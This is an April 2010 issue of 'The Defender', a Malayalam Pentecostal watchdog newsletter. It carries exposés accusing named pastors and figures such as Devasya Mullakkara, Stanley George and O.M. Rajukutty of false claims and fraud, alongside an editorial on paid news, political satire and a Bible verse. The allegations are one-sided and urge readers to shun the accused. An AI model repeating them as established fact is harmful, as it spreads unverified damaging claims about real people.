ദി ഡിഫെൻഡർ

Vol. No. 13 Issue No. 7 RNI Reg. No. 68089 / 97 Published From Perumbavoor 2010 April 1 Price: Rs.100/- P.A.

# മുല്ലക്കരയ്ക്ക് ഓർഡിനേഷൻ കൊടുത്തിട്ടില്ല: വി. റ്റി. ഏബ്രഹാം

ദേവസ്യ മുല്ലക്കരയ്ക്ക് പാസ്റ്റർ വി.റ്റി.ഏബ്രഹാമിൽ നിന്ന് ഓർഡിനേഷൻ ലഭിച്ചിട്ടുണ്ട് എന്ന അവകാശവാദം പൊളിയാണെന്ന് തെളിയുന്നു. താൻ മുല്ലക്കരയ്ക്ക് ഓർഡിനേഷൻ കൊടുത്തിട്ടില്ല എന്നു വി.റ്റി.ഏബ്രഹാം തന്നെ വ്യക്തമാക്കിയതോടെയാണ് മുല്ലക്കരയുടെ അവകാശവാദം പൊളിഞ്ഞത്.

റ്റി.എസ്.ബാലൻ എന്ന ഈയുള്ളവൻ ഏതാനും ദിവസം മുൻപ് ഈ വിഷയത്തെക്കുറിച്ചു വി.റ്റി.ഏബ്രഹാമുമായി ഫോണിൽ സംസാരിച്ചു. അദ്ദേഹം പറഞ്ഞതിന്റെ ചുരുക്കം ഇതാണ്:

വി.റ്റി.ഏബ്രഹാം ദേവസ്യ മുല്ലക്കരക്ക് ഓർഡിനേഷൻ കൊടുത്തിട്ടില്ല. അസംബ്ലീസ് ഓഫ് ഗോഡിന്റെ നേതൃസ്ഥാനത്തുള്ള തനിക്ക് അസംബ്ലീസ് ഓഫ് ഗോഡിന്റെ ചട്ടങ്ങൾക്കും നടപടിക്രമങ്ങൾക്കും അനുസൃതമായി മാത്രമേ ഓർഡിനേഷൻ കൊടുക്കാൻ അധികാരമുള്ളൂ. ഈ നിലക്കു പരിഗണിക്കുമ്പോൾ ദേവസ്യ മുല്ലക്കര ഓർഡിനേഷൻ ലഭിക്കാൻ അർഹനല്ല. എന്നാൽ രണ്ടു വർഷത്തോളം മൂമ്പ് വി.റ്റി. ഏബ്രഹാം ദേവസ്യ മുല്ലക്കരയുടെ തലയിൽ കൈവച്ചു പ്രാർത്ഥിച്ചിട്ടുണ്ട്. അത് ഓർഡിനേഷനാണെന്നു മുല്ലക്കര തെറ്റിദ്ധരിച്ചിട്ടുണ്ടാകാം. പക്ഷേ ആ പ്രാർത്ഥന ഓർഡിനേഷനാണെന്നു വി.റ്റി.ഏബ്രഹാം ഒരിക്കലും പറഞ്ഞിട്ടില്ല.

ദേവസ്യ മുല്ലക്കരയുടെ സ്നാനവുമായി ബന്ധപ്പെട്ട് ഉയർന്നുവന്ന വിവാദങ്ങളാണ് ഇപ്പോൾ ഓർഡിനേഷനിൽ വന്നു നിൽക്കുന്നത്. തന്നെ സ്നാനപ്പെടുത്തിയതു ദിനകരനാണ് എന്നത്രേ മുല്ലക്കര പറയുന്നത്. പട്ടത്വം നിലനിൽക്കുന്ന സി.എസ്.ഐ സഭയിലെ സാധാരണ വിശ്വാസി മാത്രമായ ദിനകരന് സ്നാനപ്പെടുത്താൻ അധികാരമില്ല. മാത്രമല്ല, ശിശുസ്നാനമേറ്റവരെ വീണ്ടും സ്നാനപ്പെടുത്തുന്ന പതിവ് സി.എസ്.ഐ സഭയിലില്ല. ഈ വസ്തുതകളൊക്കെ അവഗണിച്ചുകൊണ്ടാണ് തന്നെ ദിനകരനാണു സ്നാനപ്പെടുത്തിയതെന്നു മുല്ലക്കര അവകാശപ്പെടുന്നത്. സ്നാനപ്പെടുത്തിയ സമയത്തു ഫോട്ടോയും മറ്റും എടുത്തിട്ടില്ലെങ്കിലും ദിനകരൻ നൽകിയ സർട്ടിഫിക്കറ്റ് മുല്ലക്കരയുടെ കൈവശമുണ്ടത്രേ. പക്ഷേ ഒരു കണ്ടീഷൻ: ദൈവാത്മാവു പറഞ്ഞാൽ മാത്രമേ ഈ സർട്ടിഫിക്കറ്റ് മറ്റുള്ളവരെ കാണിക്കൂ.



മുല്ലക്കരയുടെ സ്നാനം തന്നെ വിവാദക്കുരുക്കിലായിരിക്കെ മുല്ലക്കര മറ്റുള്ളവരെ സ്നാനപ്പെടുത്തുന്നതു ശരിയല്ല എന്നൊരു വാദമുണ്ടായി. അപ്പോഴാണ് ഓർഡിനേഷന്റെ കാര്യം മുല്ലക്കര എടുത്തിട്ടത്. പാസ്റ്റർ വി.റ്റി.ഏബ്രഹാം തനിക്ക് ഓർഡിനേഷൻ തന്നിട്ടുണ്ടെന്നും അതുകൊണ്ടു സ്നാനപ്പെടുത്താനുള്ള അധികാരമുണ്ടെന്നുമാണ് വാദം.

ഓർഡിനേഷൻ ലഭിച്ചവർ മാത്രമേ സ്നാനശുശ്രൂഷ നടത്താവൂ എന്നു ദൈവവചനത്തിൽ പറയുന്നില്ല. അതുകൊണ്ട് ഓർഡിനേഷൻ ലഭിച്ച പാസ്റ്റർമാർ മാത്രമേ സ്നാനശുശ്രൂഷ നടത്താവൂ എന്ന് ഭൂരിപക്ഷം പെന്തക്കോസ്ത് സഭകളും പഠിപ്പിക്കുന്നുമില്ല. മുല്ലക്കര വിശ്വാസസ്നാനം സ്വീകരിച്ച വ്യക്തിയാണെങ്കിൽ വിശേഷിച്ച് ഓർഡിനേഷനൊന്നും കൂടാതെ തന്നെ സ്നാനശുശ്രൂഷ നടത്താവുന്നതാണ്. പക്ഷേ അതല്ല ഇവിടെയുള്ള പ്രശ്നം. വി.റ്റി.ഏബ്രഹാം മുല്ലക്കരയുടെ തലയിൽ കൈ വച്ചു പ്രാർത്ഥിച്ചതോടെ ഓർഡിനേഷൻ ലഭിച്ചു കഴിഞ്ഞു എന്നും അങ്ങനെ റവയായ തന്നെ ഇനി ആർക്കും ചോദ്യം ചെയ്യാൻ അവകാശമില്ലെന്നും മുല്ലക്കര പറയുമ്പോൾ ദൈവവചനം പഠിച്ചവർക്ക് എതിർക്കാതിരിക്കാൻ പറ്റില്ല.

ഈ വിഷയത്തോടുള്ള ബന്ധത്തിൽ ഡിഫെൻഡറിന്റെ നിലപാട് അർത്ഥശങ്കയ്ക്കിടയില്ലാത്തവിധം വ്യക്തമാക്കട്ടെ: ദൈവസ്യ മുല്ലക്കര വിശ്വാസസ്നാനം സ്വീകരിച്ച വ്യക്തിയാണോ എന്നു സംശയമുണ്ടായിരിക്കുന്നതിനാൽ സംശയദൂരീകരണത്തിന് ആവശ്യമായ തെളിവുകൾ മുല്ലക്കരതന്നെ ഹാജരാക്കണം. മുല്ലക്കര ഇതു ചെയ്യാൻ തയ്യാറാകുന്നില്ലെങ്കിൽ പെന്തക്കോസ്ത് വിശ്വാസികൾ മുല്ലക്കരയുമായി സഹകരിക്കരുത്.

# സ്റ്റാൻലി ജോർജ് പറയുന്നതു കള്ളം

ഐ.പി.സി ഗോവാ മിഷൻ കോർഡിനേറ്ററായി സ്റ്റാൻലി ജോർജിനെ നിയമിച്ചു എന്ന വാർത്ത പച്ചക്കള്ളമാണെന്ന് ഡിഫെൻഡർ നടത്തിയ അന്വേഷണത്തിൽ കണ്ടെത്തി. അങ്ങനെയൊരു സംഭവം ഉണ്ടായിട്ടേയില്ല എന്ന് കർണ്ണാടക ഐ.പി.സി നേതൃത്വം അറിയിച്ചു.

മിഷൻ കോർഡനേറ്റർമാരായി പാസ്റ്റർമാരെ മാത്രമേ നിയമിക്കൂ. പക്ഷേ സ്റ്റാൻലി ജോർജ് പാസ്റ്ററല്ല. അതുകൊണ്ടു തന്നെ മിഷൻ കോർഡിനേറ്ററായി നിയമിക്കപ്പെടാനുള്ള യോഗ്യത സ്റ്റാൻലി ജോർജിനില്ല. മാത്രമല്ല മിഷൻ സ്റ്റേഷനുള്ളിടത്തു മാത്രമേ മിഷൻ കോർഡിനേറ്ററെ നിയമിക്കൂ. ഗോവയെ മിഷൻ സ്റ്റേഷനായി ഐ.പി.സി അംഗീകരിച്ചിട്ടുമില്ല. ഐ.പി.സിയുടെ കർണ്ണാടക സ്റ്റേറ്റ് കൗൺസിലിന്റെ കീഴിലാണ് ഗോവയിലെ പ്രവർത്തനങ്ങൾ നടക്കുന്നത്. അതുകൊണ്ട് കർണ്ണാടക സ്റ്റേറ്റ് കൗൺസിൽ അറിയാതെ ഗോവയ്ക്ക് മിഷൻ കോർഡിനേറ്റർ ഉണ്ടാകുകയുമില്ല. മഹാപരിശുദ്ധനായ സ്റ്റാൻലി ജോർജ് പച്ചക്കള്ളമാണു പ്രചരിപ്പിക്കുന്നതെന്നു ചുരുക്കം.

ഗോവയിലെ പ്രവർത്തനങ്ങൾക്കു സാമ്പത്തിക സഹായം ചെയ്യാമെന്നു പറഞ്ഞ് സ്റ്റാൻലി ജോർജ് കർണ്ണാടക നേതൃത്വത്തെ സമീപിച്ചു എന്നതു സത്യമാണ്. അതനുസരിച്ച് സ്റ്റാൻലിയെ ആറുമാസം മുൻപ് ഗോവയുടെ സ്പോൺസറാക്കുകയും



ചെയ്തു. പക്ഷേ വാചകക്കസർത്തും വ്യാജവാർത്തയും ഷൈനിങ്ങുമല്ലാതെ ഒന്നും നാളിതുവരെ നടന്നില്ല. ഗോവയിലെ പ്രവർത്തനങ്ങളുടെ മറവിൽ ലോകമെമ്പാടും നടന്നു പിരിവു നടത്തുക മാത്രമാണ് സ്റ്റാൻലിയുടെ ഉദ്ദേശ്യമെന്നു തെളിയുകയും ചെയ്തു. അതുകൊണ്ട് സ്റ്റാൻലി ജോർജിനെ ഗോവയുടെ സ്പോൺസർ സ്ഥാനത്തുനിന്നു നീക്കാൻ ഐ.പി.സി കർണ്ണാടക സ്റ്റേറ്റ് നേതൃത്വം മാർച്ച് 15ന് തീരുമാനിച്ചു.

സ്റ്റാൻലി ജോർജ് ഏതു തരക്കാരനാണെന്നു ഡിഫെൻഡറിന്റെ വായനക്കാർക്കറിയാം. ഇങ്ങനെയുള്ള ഒരാളുമായി ദൈവമക്കൾക്ക് ഒരു വിധത്തിലുള്ള ബന്ധവും ഉണ്ടാകരുത്. ഇത്തരക്കാരെ പെന്തക്കോസ്ത് സഭകളിൽ കയറ്റുകപോലുമരുത്.

## പകൽക്കാലം

സമയക്കുറവുമൂലം നൂറ്റമ്പതു പേർ അനുശോചനം പറയാനേ കഴിഞ്ഞുള്ളൂ എന്ന വിവരം വ്യസന സമേതം അറിയിക്കുന്നു



# ഒ. എം. രാജുക്കുട്ടിക്കെതിരെ ക്രൈമിൽ വാർത്ത

ഒ.എം.രാജുക്കുട്ടിക്കെതിരെ ക്രൈം ദ്വൈവാരികയിൽ വാർത്ത. വേൾഡ് മിഷൻ ഇവാൻജലിസം സഭയുടെ മറവിൽ രാജുക്കുട്ടി നടത്തുന്ന തട്ടിപ്പുകളാണ് ക്രൈമിൽ വിവരിക്കുന്നത്.

അന്തർദ്ദേശീയ സംഘടനയായ ഡബ്യൂ.എം.ഇ ആണെന്നു പൊതുജനങ്ങളെ തെറ്റിദ്ധരിപ്പിച്ചുകൊണ്ട് രാജുക്കുട്ടി സ്വന്തം സംഘടന കെട്ടിപ്പടുക്കുന്നതും അധികാരമെല്ലാം തന്നിൽത്തന്നെ നിലനിർത്തത്തക്കവിധം സഭാഭരണഘടന ഉണ്ടാക്കി സാധുക്കളെ കബളിപ്പിക്കുന്നതും മറ്റും ക്രൈം വിവരിക്കുന്നു. കോമാനപ്പള്ളിയുടെ കാലശേഷം ഡബ്യൂ.എം.ഇയുടെ നിയന്ത്രണം കൈപ്പിടിയിൽ ഒതുക്കാൻ ലക്ഷ്യമിട്ടുകൊണ്ടു രാജുക്കുട്ടി സ്വന്തം മകളെ കോമാനപ്പള്ളിയുടെ മകനു വിവാഹം കഴിച്ചു കൊടുത്തതും ക്രൈം എടുത്തു പറയുന്നു. ആത്മീയതയുടെ മറവിൽ രാജുക്കുട്ടി നടത്തുന്നതു ജനവഞ്ചനയാണെന്ന വസ്തുത കാര്യകാരണ സഹിതം ക്രൈമിൽ വിശദീകരിക്കുന്നുണ്ട്.



രാജുക്കുട്ടിയുടെ തട്ടിപ്പുകളേക്കുറിച്ചു ഡിഫെൻഡറിൽ 2008 ഒക്ടോബർ മുതൽ വാർത്തകൾ പ്രസിദ്ധീകരിച്ചുവരുന്നു. എങ്കിലും ഡിഫെൻഡർ വ്യാജവാർത്ത പ്രസിദ്ധീകരിക്കുകയാണെന്നത്രേ രാജുക്കുട്ടിയും കൂട്ടരും പ്രചരിപ്പിക്കുന്നത്. പക്ഷേ ഇപ്പോൾ സെക്യുലർ പ്രസിദ്ധീകരണമായ ക്രൈമിൽ വാർത്ത വന്നിരിക്കയാൽ രാജുക്കുട്ടി മറുപടി പറയേണ്ടതുണ്ട്. ക്രൈമിലെ വാർത്ത വ്യാജമാണെങ്കിൽ രാജുക്കുട്ടി ക്രൈമിനെതിരെ നിയമനടപടി സ്വീകരിക്കാൻ തയ്യാറാകണം. അതല്ല, ക്രൈമിൽ വിവരിക്കുന്ന വിധത്തിലുള്ള തട്ടിപ്പുകൾ രാജുക്കുട്ടി ചെയ്തിട്ടുണ്ടെങ്കിൽ പെന്തക്കോസ്തിൽ നിന്നു രാജുക്കുട്ടി പുറത്തു പോകണം.

ഡിഫെൻഡർ ഇങ്ങനെയൊക്കെ എഴുതുന്നതുകൊണ്ടു പ്രയോജനമൊന്നും ഉണ്ടാകുകയില്ലെന്നറിയാം. എങ്കിലും പറയാതെ പറ്റില്ലല്ലോ. വ്യാജൻമാർക്കു സ്വൈര്യവിഹാരം ചെയ്യാൻ അനുയോജ്യമായ സാഹചര്യമാണ് ഇപ്പോൾ പെന്തക്കോസ്തിലുള്ളത്. ഏറ്റവും വലിയ പെന്തക്കോസ്ത് സഭയെന്നു പറയപ്പെടുന്ന ഐ.പി.സിയുടെ ഏറ്റവും വലിയ പാസ്റ്ററായ കെ.സി.ജോൺ മുതൽ ചെറിയ സഭകളുടെ നേതാക്കൻമാർ വരെയുള്ളവർ അഴിമതിയിൽ മുങ്ങി കുളിച്ചു നിൽക്കുകയാണ്. ദുരുപദേശം, ദുർന്നടപ്പ്, രാഷ്ട്രീയക്കളികൾ തുടങ്ങിയതൊന്നും പാപമല്ലാതായിരിക്കുന്നു. പെന്തക്കോസ്തിലെ തിൻമകൾക്കെതിരെ പോരാടുന്ന ഡിഫെൻഡറിനെതിരെ സകല വ്യാജൻമാരും ഒന്നുചേർന്നു പോരാടുകയുമാണ്. എങ്ങനെയെങ്കിലും ഡിഫെൻഡറിന്റെ വായടച്ചാൽ പെന്തക്കോസ്ത് നേതാക്കൻമാർക്കു രക്ഷപ്പെടാം എന്നാണു ചിന്ത. പക്ഷേ ഡിഫെൻഡർ ഇല്ലാതായാലും ക്രൈം പോലുള്ള സെക്യുലർ മാദ്ധ്യമങ്ങളുണ്ടെന്ന് ഏവരും അറിഞ്ഞാൽ നന്ന്.

# ഡിഫെൻഡറിനു മൂന്നു വെബ്സൈറ്റ്

വൈറസുകളോ മറ്റു മാൽവെയറുകളോ വെബ്സൈറ്റിൽ കയറിക്കൂടി പ്രശ്നമുണ്ടാക്കുന്നതുമൂലം വെബ്സൈറ്റിന്റെ പ്രവർത്തനം തടസ്സപ്പെടാതിരിക്കാനുള്ള മുൻകരുതൽ എന്ന നിലക്ക് ഡിഫെൻഡറിന് മൂന്നാമതൊരു വെബ്സൈറ്റ്കൂടി തുടങ്ങുകയാണ്. ഇനി മുതൽ മൂന്നു സൈറ്റുകളിൽ ഡിഫെൻഡർ ലഭിക്കും. ഏതെങ്കിലും ഒരു സൈറ്റ് തുറക്കാൻ ബുദ്ധിമുട്ടുണ്ടായാൽ മറ്റു സൈറ്റുകൾ നോക്കുക:

**www.tsbalan.com www.tsbalan.org www.tsbalan.net**

ദി ഡിഫെൻഡർ

Vol. No.13 Issue No.7 2010 April 1

# വാർത്തയ്ക്കു കൂലിയോ?

പത്രപ്രവർത്തനത്തെ ജനാധിപത്യത്തിന്റെ നാലാമത്തെ തൂണായിട്ടാണു പരിഗണിക്കുന്നത്. സെക്യുലർ രംഗത്തെ പത്രപ്രവർത്തകരിൽ ഭൂരിപക്ഷവും പത്രപ്രവർത്തനം പഠിച്ചശേഷമാണ് ഈ രംഗത്തേക്കു കടന്നുവരുന്നതും. പക്ഷേ പെന്തക്കോസ്ത് പത്രപ്രവർത്തകർക്ക് ഇതൊന്നും ബാധകമല്ല. പത്രപ്രവർത്തനത്തിന്റെ ആദ്യാക്ഷരമെന്നല്ല സ്വന്തം മാതൃഭാഷ പോലും പഠിച്ചിരിക്കണമെന്നില്ല. പത്രപ്രവർത്തനം എന്ന് എഴുതാൻ അറിയാത്തവർക്കുപോലും പത്രപ്രവർത്തകരാകാം.

വാർത്തകൾ പ്രസിദ്ധീകരിക്കുന്ന പത്രങ്ങൾ വാർത്തകളും പരസ്യങ്ങളും തമ്മിൽ തിരിച്ചറിയാൻ ആവശ്യമായ ക്രമീകരണങ്ങൾ ചെയ്തിരിക്കണമെന്നു ചട്ടമുണ്ട്. സെക്യുലർ പത്രങ്ങൾ പരിശോധിച്ചാൽ വാർത്തയേത്, പരസ്യമേത് എന്നു വ്യക്തമായി മനസ്സിലാക്കാൻ കഴിയുകയും ചെയ്യും. പക്ഷേ ഈ ചട്ടം മറികടന്നുകൊണ്ടു പ്രവർത്തിക്കുന്ന പത്രങ്ങളുമുണ്ട്. അവയ്ക്കെതിരെ ഈയിടെ കടുത്ത വിമർശനങ്ങളുണ്ടാകുകയും ചെയ്തു. ഇലക്ഷനിൽ ചില സ്ഥാനാർത്ഥികൾക്ക് അനുകൂലമായി വാർത്തകൾ കൊടുത്തതാണു പ്രശ്നമായത്. സ്ഥാനാർത്ഥിയോടു പണം വാങ്ങിയാണ് ഇങ്ങനെ ചെയ്തതെന്നു തെളിയുകയും ചെയ്തു. ഗുരുതരമായ കുറ്റമായാണ് ഇതു കണക്കാക്കപ്പെടുന്നത്.

പെന്തക്കോസ്തിൽ ഇത്തരം ഹീനകൃത്യങ്ങൾ ഇലക്ഷൻ കാലത്തു മാത്രമല്ല എല്ലായ്പ്പോഴും നടക്കുന്നുണ്ട്. പണം കൊടുക്കുന്നവരുടെ വാർത്തയും ലേഖനങ്ങളും പെന്തക്കോസ്ത് പത്രങ്ങൾ പ്രസിദ്ധീകരിക്കുന്നു. അയ്യായിരം രൂപ കൈയ്യിലുള്ള ആർക്കും ഒരു പേജ് നിറയെ എഴുതാമെന്നതാണു സ്ഥിതി. പണം കൊടുത്തു പരസ്യം എന്ന നിലക്കു സപ്ലിമെന്റ് പ്രസിദ്ധീകരിക്കുന്ന കാര്യമല്ല പറഞ്ഞുവരുന്നത്. കാരണം, സപ്ലിമെന്റാണു പ്രസിദ്ധീകരിക്കുന്നതെങ്കിൽ ആ വിഷയം പേജിന്റെ മുകളിൽ വ്യക്തമായി എഴുതേണ്ടതാണ്. അത്തരം അറിയിപ്പുകളൊന്നും കൂടാതെയാണ് ചില പെന്തക്കോസ്ത് പത്രങ്ങൾ കൂലിക്കു വാർത്ത പ്രസിദ്ധീകരിക്കുന്നത്.

ജീവിക്കാൻ മറ്റൊരു തൊഴിലും കിട്ടാതായപ്പോൾ പത്രപ്രവർത്തനം തുടങ്ങിയവരിൽ നിന്നു ധാർമ്മികത പ്രതീക്ഷിച്ചിട്ടു കാര്യമില്ല. പത്രധർമ്മം എന്നൊന്നുണ്ട് എന്ന് അവർക്കു കേട്ടുകേഴ്വിപോലുമില്ലതാനും. അതുകൊണ്ട് പണം കൊടുക്കുന്ന ആരേയും പുകഴ്ത്തി അവർ ലേഖനമെഴുതും. സംഭാവന വാങ്ങി ലേഖനം പ്രസിദ്ധീകരിക്കും. അഭിമുഖ സംഭാഷണം നടത്തിയും പണം വാങ്ങും. ‘‘എങ്ങനെയെങ്കിലും കഞ്ഞി കുടിച്ചു പോകണ്ടേ’’ എന്നതാണ് ഇവരുടെ ന്യായം. ഇത്തരക്കാർ പെന്തക്കോസ്ത് പത്രപ്രവർത്തനരംഗം മലീമസമാക്കിക്കഴിഞ്ഞു.

# സത്യം സത്യമായി

കേരളത്തിലെ സകല കുഴപ്പങ്ങൾക്കും കാരണക്കാർ ആര്? സംശയം വേണ്ട, കേന്ദ്ര സർക്കാർ. ഇവിടെ വിലക്കയറ്റുണ്ടായാൽ ഉത്തരവാദി കേന്ദ്രം. ഇവിടെ തൊഴിലില്ലായ്മ ഉണ്ടായാൽ അതിന്റെ കാരണം കേന്ദ്രത്തിന്റെ മുതലാളിത്ത പ്രീണനം. ഇവിടെ വരൾച്ച ഉണ്ടായിരിക്കുന്നതു കോപ്പൻ ഹേഗനിൽ കേന്ദ്രം സ്വീകരിച്ച തെറ്റായ നയം മൂലമാണെന്നതിനു സംശയമില്ല. അതുകൊണ്ട് കേരളത്തിലെ സകല പ്രശ്നങ്ങളും തീർക്കാൻ ഒരു മാർഗ്ഗമേയുള്ളൂ: കേന്ദ്രത്തിനെതിരെ സമരം നടത്തുക.

കേന്ദ്രമെന്നു പറയുന്നത് അങ്ങു ദൂരെ ഡൽഹിയിലാണ്. അതുകൊണ്ട് അവിടെച്ചെന്നു സമരം നടത്താൻ ഇമ്മിണി ബുദ്ധിമുട്ടുണ്ട്. എന്താണു പോംവഴി? ഇവിടെയുള്ള കേന്ദ്രസർക്കാർ ഓഫീസുകളുടെ മുൻപിൽ സമരം ചെയ്യുക. അങ്ങനെ സാക്ഷര കേരളം സമര കേരളമായി. പോസ്റ്റ് ഓഫീസിലേക്കു കയറാൻ പോലും പറ്റാത്ത സമരം. സംഗതി അഞ്ചു ദിവസം നീണ്ടു. എന്നിട്ടു കേന്ദ്രം പാഠം പഠിച്ചോ? ഇല്ല. പക്ഷേ കേരളത്തിലുള്ളവരൊക്കെ ശരിക്കു വലഞ്ഞു. പല കുട്ടികളുടേയും ഹാൾ ടിക്കറ്റുകൾ കിട്ടിയില്ല. അങ്ങനെ പരീക്ഷ മുടങ്ങി. പലർക്കും അപേക്ഷകൾ അയയ്ക്കാൻ പറ്റിയില്ല. അപ്പോയിന്റ്മെന്റ് ഓർഡർ സമയത്തു കിട്ടാത്തതുമൂലം ജോലി പോയവർ വരെയുണ്ട്. എന്താലെന്താ, കേന്ദ്രത്തിനെതിരെ സമരം ചെയ്തല്ലോ, അതു പോരേ?

അടുത്തതു ജയിൽ നിറയ്ക്കൽ സമരമാണ്. ഇന്ത്യയിലുള്ള സകല ജയിലും നിറയ്ക്കാനാണു പരിപാടി. പക്ഷേ കേരളത്തിലും ബംഗാളിലും ത്രിപുരയിലും മാത്രമേ ഈ പരിപ്പു വേകൂ എന്ന് ഏവർക്കും അറിയാം. എന്നിട്ടും ഒരു ചിന്ന പ്രശ്നം: ബംഗാളിലുള്ള ജയിലുകളിൽ ഇപ്പോഴുള്ളവർ മാത്രം മതിയെന്ന് അവിടെയുള്ളവർ തീരുമാനിച്ചു. ത്രിപുരയിൽ ജയിലുകൾ ഏറെയില്ല. പിന്നെയുള്ളത് കേരളമാണ്. ഇവിടെ മൂന്നുകോടിയിലധികം ജനങ്ങൾ ഉള്ളതുകൊണ്ട് ജയിലുകളുടെ എണ്ണവും കൂടുതലാണ്. അവ നിറയ്ക്കാനും ബുദ്ധിമുട്ടില്ല. എങ്കിലും അതു വേണ്ടെന്നുവച്ചു. പകരം പ്രതിഷേധം മാത്രം മതി. അതോടെ കേരളത്തിലെ സകല പ്രശ്നങ്ങളും തീരും.

ജീവനോടെ ഉള്ളവരോടു വാശിയും വൈരാഗ്യവും ഒക്കെ ആകാം. പക്ഷേ മരിച്ചവരോടും വേണോ വാശി? വിശേഷിച്ചും മരിച്ചുപോയ അമ്മയോട്? ഈയിടെ ഒരമ്മയുടെ ചരമ വാർഷികത്തിനു മകനും മകളും എത്തിയില്ല. കാരണം രാഷ്ട്രീയ വൈര്യം തന്നെ. പാവം അച്ഛൻ വിങ്ങിപ്പൊട്ടിയതു മക്കളെയോർത്താണോ ആവോ! ഏതായാലും പണ്ടേപ്പോലുള്ള നല്ലകാലം വന്നു കാണാൻ ചിലർ പത്രപ്പരസ്യം വരെ ചെയ്തു. എങ്കിലും ഫലമുണ്ടാകുമോ എന്നു കണ്ടറിയണം.

പയ്യൻമാർ കൊത്തിക്കൊത്തി മുറത്തിൽ കയറി കൊത്തിയിരിക്കയാണ്. ഇനി മൗനമായിരുന്നാൽ തലയിൽ കയറിയിരുന്നു നിരങ്ങും. കോൺഗ്രസ്സിലെ കാര്യമാണു പറഞ്ഞു വരുന്നത്. ചെറുപ്പക്കാർക്ക് അവസരങ്ങൾ വേണമെന്നതു ശരിതന്നെ. അവസരം ചോദിക്കുന്നതു തെറ്റുമല്ല. പക്ഷേ വല്ല്യേട്ടൻമാർ പോലും പറയാൻ മടിക്കുന്ന ഭാഷയിലാണു ചോദ്യമെങ്കിലോ.

കേരള കോൺഗ്രസ്സ് ഉണ്ടായ കാലത്തെ സ്ഥിതി ഇപ്പോഴില്ലെന്നു പിള്ളേച്ചൻ പറയുന്നു. സംഗതി പിടികിട്ടി പിള്ളേച്ചാ. ഉദ്ദേശ്യം അത്ര മോശമാണെന്നു പറയാനാവില്ല. സകലമാന കേരളാ കോൺഗ്രസ്സുകളും കൂടി ലയിച്ച് ഉഗ്രൻ ഒരു കേരളാ കോൺഗ്രസ്സ് ഉണ്ടാകുകയാണു നല്ലത്. അതിന്റെ ആദ്യപടിയെന്ന നിലക്ക് ജോർജ് ലയിക്കുകയും ചെയ്തു. പക്ഷേ ജേക്കബ് വഴങ്ങുന്നില്ല. ജോസഫ് അനങ്ങുന്നുമില്ല. പിന്നെ പിള്ളേച്ചനും പുത്രനും മാത്രം ധൃതി വച്ചിട്ടു കാര്യമില്ലല്ലോ. അതുകൊണ്ട് കോൺഗ്രസ്സിൽ തന്നെ ചേക്കേറാനുള്ള വഴി നോക്കാം. അത്ര മോശമല്ലാത്ത കസേരകൾ തരപ്പെടുമെന്ന കാര്യത്തിൽ സംശയമില്ല. ഭാവിയിൽ ഏതളവുവരെ വേണമെങ്കിലും വളരുകയും ചെയ്യാം. തികച്ചും ഉചിതമായ തീരുമാനം.

ലീഗിനും ആശയ്ക്കു വഴിയുണ്ട്. അഖിലേന്ത്യർ അരമനസ്സോടെ നിൽക്കുന്നു. ലീഗ് ഉറക്കെയൊന്നു മൂളിയാൽ അവരിങ്ങു പോരും. അതോടെ ലീഗിനു കൂടുതൽ സീറ്റുകൾ ധൈര്യമായിട്ടു ചോദിക്കാം. അടുത്തതായി ഒഴിവുവരുന്ന രാജ്യസഭാസീറ്റും ഉറപ്പിക്കാം.

ഇടതുപക്ഷത്ത് ഇപ്പോൾ അടിക്കടി നഷ്ടമാണ് ഉണ്ടായിക്കൊണ്ടിരിക്കുന്നത്. പാർട്ടികൾ ഒന്നൊന്നായി അകന്നു പോയ്ക്കൊണ്ടിരിക്കുന്നു. ഉള്ളവരിൽ പലരും ചാഞ്ചാടുന്നുമുണ്ട്. പുതുതായി ആരും വരുന്നുമില്ല. അടുത്ത അസംബ്ലി തെരഞ്ഞെടുപ്പിൽ 40 സീറ്റെങ്കിലും കിട്ടുമെന്നാണു കരുതിയത്. പക്ഷേ ഇന്നത്തെ നിലക്കു പോയാൽ 25 പോലും തികയ്ക്കുകയില്ല.

## ഈ വചനം വിശ്വാസയോഗ്യമാകുന്നു......

ഒരിക്കൽ പ്രകാശനം ലഭിച്ചിട്ടു സ്വർഗ്ഗീയ ദാനം ആസ്വദിക്കുകയും പരിശുദ്ധാത്മാവിനെ പ്രാപിക്കുകയും. ദൈവത്തിന്റെ നല്ല വചനവും വരുവാനുള്ള ലോകത്തിന്റെ ശക്തിയും ആസ്വദിക്കുകയും ചെയ്തവർ പിൻമാറിപ്പോയാൽ, തങ്ങൾക്കു തന്നേ ദൈവപുത്രനെ വീണ്ടും ക്രൂശിക്കുന്നവരും അവനു ലോകാപവാദം വരുത്തുന്നവരും ആകുകകൊണ്ട് അവരെ പിന്നെയും മാനസാന്തരത്തിലേക്കു പുതുക്കുവാൻ കഴിവുള്ളതല്ല. പലപ്പോഴും പെയ്ത മഴ കുടിച്ചിട്ടു ഭൂമി കൃഷി ചെയ്യുന്നവർക്ക് ഹിതമായ സസ്യാദികളെ വിളയിക്കുന്നു എങ്കിൽ ദൈവത്തിന്റെ അനുഗ്രഹം പ്രാപിക്കുന്നു. മുള്ളും ഞെരിഞ്ഞിലും മുളപ്പിച്ചാലോ അത് കൊള്ളരുതാത്തതും ശാപത്തിന് അടുത്തതും ആകുന്നു; ചുട്ടുകളയുക അത്രേ അതിന്റെ അവസാനം. (എബ്രാ. 6:4-8)

**ഡിഫെൻഡർ പി.ഡി.എഫ് ഫോർമാറ്റിൽ ഇന്റർനെറ്റിൽ ലഭ്യമാണ്.**

*Please Visit:* **www.tsbalan.com**
**tsbalan.org tsbalan.net**

**വ്യാജൻമാരെ തിരിച്ചറിയുക: http://fraud.name**

ബൈബിൾ റേഡിയോ
**www.thebibleradio.com**

## വാർഷിക വരിസംഖ്യ

ഇന്ത്യയിൽ: 100 രൂപ
ആയുഷ്ക്കാല വരിസംഖ്യ: 1000 രൂപ
**വിലാസം:**
റ്റി.എസ്.ബാലൻ, ആനന്ദ് ഭവൻ
കെ.എസ്.ആർ.റ്റി.സിക്ക് സമീപം,
പെരുമ്പാവൂർ പി.ഒ., എറണാകുളം.
(ചെക്ക്/ഡി.ഡി. അയയ്ക്കുന്നവർ റ്റി.എസ്.ബാലൻ എന്ന പേരെഴുതി അയയ്ക്കുക. ഡിഫെൻഡർ എന്ന പേരിൽ അക്കൗണ്ടില്ല)

## ട്രസ്റ്റുകളും സൊസൈററികളും ഉണ്ടാക്കുന്നതെങ്ങനെ?

